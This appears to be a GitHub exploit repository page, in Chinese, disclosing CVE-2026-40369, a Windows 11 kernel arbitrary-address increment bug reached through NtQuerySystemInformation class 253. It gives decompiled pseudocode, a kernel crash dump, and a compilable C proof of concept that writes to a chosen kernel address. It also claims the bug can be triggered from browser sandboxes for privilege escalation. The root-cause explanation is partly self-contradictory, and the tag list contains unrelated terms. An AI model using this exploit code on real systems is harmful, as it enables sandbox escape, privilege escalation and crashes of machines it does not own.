orinimron123/CVE-2026-40369-EXPLOIT
GitHub: orinimron123/CVE-2026-40369-EXPLOIT
针对Windows内核NtQuerySystemInformation任意地址递增漏洞的完整利用代码,可从浏览器渲染进程沙箱中实现逃逸并获取内核写入原语。
Stars: 225 | Forks: 51
# CVE-2026-40369:通过 NtQuerySystemInformation (Class 253) 实现任意内核地址递增
## 概要
- **类型:** 任意内核写入(递增) — 权限提升原语
- **组件:** ntoskrnl.exe — `ExpGetProcessInformation`
- **触发方式:** `NtQuerySystemInformation(SystemProcessInformationExtension, kernelAddr, 0, &needed)`
- **影响:** 任何非特权进程均可进行任意内核地址递增(写入原语)
- **可从 Chrome 沙箱触发:** 是(NtQuerySystemInformation 未被拦截)
- **受影响 Windows 版本:** Windows 11 24H2-25H2
- **漏洞利用可靠性:** 100% 确定性
- **KASLR 绕过可与 prefetch tool 组合使用:**
## 根本原因
`ExpGetProcessInformation` 在处理以下信息类时被 `ExpQuerySystemInformation` 调用:
5 (SystemProcessInformation), 0x39, 0x94, 0xFC, 以及 **0xFD (253 = SystemProcessInformationExtension)**。
位于 `ExpQuerySystemInformation+0xD7A` 的调用点:
```
// Cases 5, 0x39, 0x94, 0xFC, 0xFD all share this call:
result = ExpGetProcessInformation((unsigned int *)userBuffer, bufferLength, &returnSize, NULL, infoClass);
```
当 userBuffer 也指向内核时(例如,探测所需的缓冲区大小时),函数进入:
```
// ExpGetProcessInformation, simplified:
__int64 ExpGetProcessInformation(unsigned int *buffer, unsigned int length, ..., int infoClass)
{
v91 = buffer; // = NULL
if (infoClass == 252) {
v86 = v91; // class 252 uses v86
// ...
} else {
v86 = NULL;
if (infoClass == 253) {
v95 = v91; // v95 = NULL (BUG: sanitization for kernel address check!)
goto LABEL_11;
}
// class 5 path - uses v81, doesn't touch v95
}
v95 = NULL; // class 252 path falls through here
LABEL_11:
// ... process iteration loop ...
while (NextProcess) {
if (infoClass == 253) {
++*v95; // CRASH: v95 is Arbitrary Kernel Address
v95[1] += ...; // Would also crash
v95[2] += ...; // Would also crash
}
// class 5/252 paths handle NULL buffer correctly
}
}
```
对于 class 253,`v95` 被设置为缓冲区指针(`v91 = buffer = NULL`)而没有任何 NULL 检查。
然后进程迭代循环尝试递增 `*v95` 处的计数器,导致在内核模式下发生 NULL 指针解引用 → BSOD。
Class 5 和 252 能够正确处理 NULL 缓冲区,因为它们使用了不同的变量(`v81`/`v86`)并在解引用前进行了适当的检查。
## 崩溃详情
```
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff800041424344, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the processor decided the fault was due to a corrupted PTE.
bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
- ARM64: bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff803a06db22e, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)
IP_IN_PAGED_CODE:
nt!ExpGetProcessInformation+42e
fffff803`a06db22e ff03 inc dword ptr [rbx]
STACK_TEXT:
*** WARNING: Unable to verify checksum for poc.exe
Unable to load image C:\Users\vm\poc.exe, Win32 error 0n2
ffffd380`d4dc52f8 fffff803`a01b2d82 : ffffd380`d4dc5378 00000000`00000001 00000000`00000100 fffff803`a02c4801 : nt!DbgBreakPointWithStatus
ffffd380`d4dc5300 fffff803`a01b22ac : 00000000`00000003 ffffd380`d4dc5460 fffff803`a02c4970 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
ffffd380`d4dc5360 fffff803`a00fba97 : 00000000`00000000 fffff803`9fe46273 00000000`00000000 00000000`00000000 : nt!KeBugCheck2+0xb2c
ffffd380`d4dc5af0 fffff803`9fe29dc0 : 00000000`00000050 ffff8000`41424344 00000000`00000002 ffffd380`d4dc5d90 : nt!KeBugCheckEx+0x107
ffffd380`d4dc5b30 fffff803`9fe16d96 : fffff803`a0bd9680 ffff8000`00000000 ffff8000`41424344 0000007f`fffffff8 : nt!MiSystemFault+0x850
ffffd380`d4dc5c20 fffff803`a02b9ecb : 00000000`00000000 00000000`0000000f 00000000`00000000 0000000c`00000000 : nt!MmAccessFault+0x646
ffffd380`d4dc5d90 fffff803`a06db22e : 00000000`00000001 00000000`00000001 00000000`c0000004 00000000`000000fd : nt!KiPageFault+0x38b
ffffd380`d4dc5f20 fffff803`a06dcfbf : 00000000`00000000 00000000`00000000 ffff8701`f54e4118 00000000`00000000 : nt!ExpGetProcessInformation+0x42e
ffffd380`d4dc6540 fffff803`a06e1061 : 00000000`00001000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!ExpQuerySystemInformation+0xd7f
ffffd380`d4dc6aa0 fffff803`a02be355 : 00000285`00b20000 ffff8701`f54e4080 ffff8701`f54e4080 00000000`00000000 : nt!NtQuerySystemInformation+0x91
ffffd380`d4dc6ae0 00007ffd`5bc82154 : 00007ff6`f01c10ef 00007ff6`f01e20a0 00007ff6`f01e20a0 00007ffd`5bc82140 : nt!KiSystemServiceCopyEnd+0x25
000000e8`7679faf8 00007ff6`f01c10ef : 00007ff6`f01e20a0 00007ff6`f01e20a0 00007ffd`5bc82140 00000285`00da4eb5 : ntdll!NtQuerySystemInformation+0x14
000000e8`7679fb00 00007ff6`f01c1374 : 00000000`00000000 00000285`00da3ab0 00000000`00000000 00000000`00000000 : poc+0x10ef
000000e8`7679fb30 00007ffd`5a5ae8d7 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : poc+0x1374
000000e8`7679fb70 00007ffd`5bbac48c : 00000000`00000000 00000000`00000000 000004f0`fffffb30 000004d0`fffffb30 : KERNEL32!BaseThreadInitThunk+0x17
000000e8`7679fba0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2c
```
## 复现步骤
最小复现代码(无需特权,不需要特殊令牌):
```
/**
* poc.c — NtQuerySystemInformation class 253 arbitrary kernel increment PoC
*
* Demonstrates arbitrary kernel DWORD increment via ProbeForWrite bypass.
* Passes a kernel address as the output buffer with Length=0, causing
* ExpGetProcessInformation to increment DWORDs at the target address
* without validation.
*
* Build: cl /W4 /O2 poc.c /Fe:poc.exe /link ntdll.lib
*/
#include
#include
#pragma comment(lib, "ntdll.lib")
typedef long NTSTATUS;
#define SystemProcessInformationExtension 253
typedef NTSTATUS (NTAPI *PNtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
int main(void)
{
PNtQuerySystemInformation pNtQSI = (PNtQuerySystemInformation)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
if (!pNtQSI) {
printf("[-] Failed to resolve NtQuerySystemInformation\n");
return 1;
}
PVOID target = (PVOID)0xffff800041424344ULL;
printf("[*] NtQuerySystemInformation class 253 arbitrary kernel increment PoC\n");
printf("[*] Target kernel address: %p\n", target);
printf("[*] Will write:\n");
printf(" [target+0] += num_processes (DWORD increment)\n");
printf(" [target+4] += total_threads (DWORD add)\n");
printf(" [target+8] += total_handles (DWORD add)\n");
printf("\n");
printf("[!] This WILL bugcheck if the address is not mapped writable memory.\n");
printf("[*] Press Enter to trigger...\n");
getchar();
ULONG needed = 0;
NTSTATUS status = pNtQSI(
SystemProcessInformationExtension,
target, /* kernel address — ProbeForWrite skipped because Length=0 */
0, /* Length=0 bypasses ProbeForWrite entirely */
&needed
);
printf("[*] NtQuerySystemInformation returned: 0x%08lX\n", status);
printf("[*] Required length: %lu\n", needed);
printf("[+] Done. If you see this, the writes succeeded without bugcheck.\n");
return 0;
}
```
## 可利用性评估 — 任意内核写入
### ProbeForWrite 绕过
`ExpQuerySystemInformation` 在分发之前会调用 `ProbeForWrite(buffer, Length, alignment)`。
**当 Length=0 时,ProbeForWrite 完全是一个空操作 (NO-OP)** — 整个函数体由 `if (Length)` 控制执行。
因此:`NtQuerySystemInformation(253, arbitraryKernelAddr, 0, &needed)` 会将未经验证的内核指针直接传递给 `ExpGetProcessInformation`。
### 写入原语
对于系统上的每个进程,该函数都会执行:
```
v95 = userBuffer; // attacker-controlled pointer, NOT validated for class 253 with Length=0
// For EACH process:
++*v95; // *(uint32*)(addr+0) += 1
v95[1] += threadCnt; // *(uint32*)(addr+4) += process_active_thread_count
v95[2] += handleCnt; // *(uint32*)(addr+8) += process_handle_count
```
这会导致:
- **addr+0:** 每个进程递增 1 → 总计 = 系统上的进程数量
- **addr+4:** 所有进程的线程数总和
- **addr+8:** 所有进程的句柄数总和
### 为什么在 LENGTH=0 的情况下依然会发生写入
`ExpGetProcessInformation` 会检查 `if (length < 12)` 并设置 STATUS_INFO_LENGTH_MISMATCH,但**不会提前返回**。它存储了错误状态并继续进入进程迭代循环,在最终返回错误状态之前,对每个进程都执行对 `v95` 的写入。
### 可从 Chrome 沙箱、Edge、Firefox 中触发
完全可达:
- NtQuerySystemInformation 未被 win32k lockdown 阻止
- 受限令牌 (restricted token) 并不能阻止此系统调用
- 不受信任的完整性级别 (Untrusted integrity level) 并不能阻止此系统调用

## 贡献者
由 Ori Nimron (@orinimron123) 发现并撰写
标签:0day, 0day挖掘, Awesome列表, Chrome沙箱, CISA项目, CVE-2026-40369, EDR绕过, KASLR绕过, ntoskrnl.exe, NtQuerySystemInformation, Web报告查看器, Windows 11, Windows内核, 任意地址写, 内核安全, 协议分析, 提权漏洞, 权限提升, 沙箱逃逸, 白帽子, 缓冲区溢出, 网络安全, 隐私保护, 高交互蜜罐